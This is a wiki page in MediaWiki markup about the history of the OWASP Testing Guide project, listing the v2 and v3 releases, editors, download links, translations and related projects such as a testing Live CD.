| colspan="2" align="center" | [[File:Project_Type_Files_DOC.jpg|link=]]
|}
|}

= Old OWASP Testing Guides =

== OWASP Testing Guide v3 ==

16th December 2008: OWASP Testing Guide v3 is finished!<br>

*You can download the Guide in PDF [http://www.owasp.org/images/5/56/OWASP_Testing_Guide_v3.pdf here]
*Download the presentation [https://www.owasp.org/images/2/2c/OWASP_EU_Summit_2008_OWASP_Testing_Guide_v3.ppt here]
*Browse the Testing Guide v3 on the wiki [https://www.owasp.org/index.php/OWASP_Testing_Guide_v3_Table_of_Contents here]

''''NEW: OWASP projects and resources you can use TODAY''''<br>
16th April 2010 in London, OWASP leaders deliver a course focused on the main OWASP Projects.<br>
Matteo Meucci will deliver a training course on the OWASP Testing Guide v3. <br>
More information [http://www.owasp.org/index.php/London/Training/OWASP_projects_and_resources_you_can_use_TODAY here]

Video @ FOSDEM 09: [http://fosdem.unixheads.org/2009/maintracks/owasp.ogv here]

Citations:

http://www.owasp.org/index.php/Testing_Guide_Quotes

== Overview ==

This project's goal is to create a "best practices" web application penetration testing framework which users can implement in their own organizations and a "low level" web application penetration testing guide that describes how to find certain issues.

Version 3 of the Testing Guide was released in December 2008 after going through a major upgrade through the [[OWASP Summer of Code 2008]].

= Background and Motivation =

'''History Behind Project''' The OWASP Testing guide originated in 2003 with Dan Cuthbert as one of the original editors. It was handed over to [[User:EoinKeary|Eoin Keary]] in 2005 and moved onto the new OWASP wiki when it came online. Being in a wiki is easier for people to contribute and has made updating much easier. [[User:Mmeucci|Matteo Meucci]] took on the Testing guide after Eoin and shepherded it through the version 2 and version 3 updates, which have been significant improvements.

= Project History =

== OWASP Testing Guide v3 ==

Testing Guide v3: plan (archive)

26th April 2008: Version 3 of the Testing Guide started under [[OWASP Summer of Code 2008]].

6th November 2008: Completed draft created and previewed at [[OWASP EU Summit 2008|OWASP EU Summit 2008 in Portugal]].

Final stable release in December 2008

== OWASP Testing Guide v2 ==

'''10th February 2007: The OWASP Testing Guide v2 is now published''' [[User:Mmeucci|Matteo Meucci]] (as part of his [[OWASP Autumn of Code 2006 - Projects: Testing Guide|AoC project]]) has just published the latest version of Testing guide which:

*you can read it on line on the [http://www.owasp.org/index.php/OWASP_Testing_Guide_v2_Table_of_Contents Testing Guide v2 wiki]
*or download the Guide in [http://www.owasp.org/index.php/Image:OWASP_Testing_Guide_v2_pdf.zip Adobe PDF format] or in [http://www.owasp.org/index.php/Image:OWASP_Testing_Guide_v2_doc.zip Ms Doc format]

'''OWASP Testing Guide v2 in Spanish:''' Now you can get a complete translation in [http://www.owasp.org/index.php/Image:OWASP_Testing_Guide_v2_spanish_doc.zip Ms Doc format]

For comments or questions, please join the [http://lists.owasp.org/mailman/listinfo/owasp-testing OWASP Testing mailing list], read our archive and share your ideas. Alternatively you can contact [[User:EoinKeary|Eoin Keary]] or [[User:Mmeucci|Matteo Meucci]] directly.

Here you can find:

*[http://www.owasp.org/index.php/Testing_Guide_Quotes The OWASP Testing Guide 'Quotes']
*[http://www.owasp.org/index.php/OWASP_Testing_Guide_Presentations Testing Guide presentations]

= Related =

'''OWASP Testing Guide (v2+v3) Report Generator''' is found at [http://yehg.net/lab/#wasarg http://yehg.net/lab/#wasarg].

'''THE OWASP Testing Project Live CD''' The OWASP testing project is currently implementing an Application security Live CD. <br> LabRat Version 0.8 Alpha is just weeks away from Beta testing*.

The aim of this CD is to have a complete testing suite on one Disk. The CD shall also contain the forthcoming OWASP Testing guide.

The Live CD now has its own section you can find it here: [http://www.owasp.org/index.php/Category:OWASP_Live_CD_Project]

= Feedback and Participation =

We hope you find the information in the OWASP Testing project useful. Please contribute back to the project by sending your comments, questions, and suggestions to the OWASP Testing mailing list. Thanks!

To join the OWASP Testing mailing list or view the archives, please visit the [http://lists.owasp.org/mailman/listinfo/owasp-testing subscription page].

= Translations =

Thanks to the translators all around the world you can download the guide in the following languages:

* Spanish in [http://www.owasp.org/images/8/80/Gu%C3%ADa_de_pruebas_de_OWASP_ver_3.0.pdf PDF] or [http://www.owasp.org/images/d/d7/Gu%C3%ADa_de_pruebas_de_OWASP_ver_3.0.zip MS Word] formats. (v3.0)

* Chinese in [http://www.owasp.org/images/0/06/OWASP%E6%B5%8B%E8%AF%95%E6%8C%87%E5%8D%97%28%E4%B8%AD%E6%96%87%EF%BC%89.pdf PDF] format. (Thanks to the [http://www.owasp.org/index.php/China-Mainland China-mainland chapter]. (v3.0; translation of v4.0 in process)

* Japanese in [http://www.owasp.org/images/1/1e/OTGv3Japanese.pdf PDF] format here (this is a 1st draft of v3.0, final release coming soon).

We invite you to explore and help us translate OWASP Testing Guide 4.0 at Crowdin. Please visit URL below to start translating this project:

https://crowdin.com/project/owasp-testing-guide-40/invite

= Project About =
{{:Projects/OWASP Testing Project | Project About}}

__NOTOC__
<headertabs />

[[Category:OWASP_Project|Testing Guide]] [[Category:OWASP_Document]] [[Category:OWASP_Download]] [[Category:OWASP_Release_Quality_Document|OWASP Stable Quality Document]] [[Category:SAMM-ST-1]]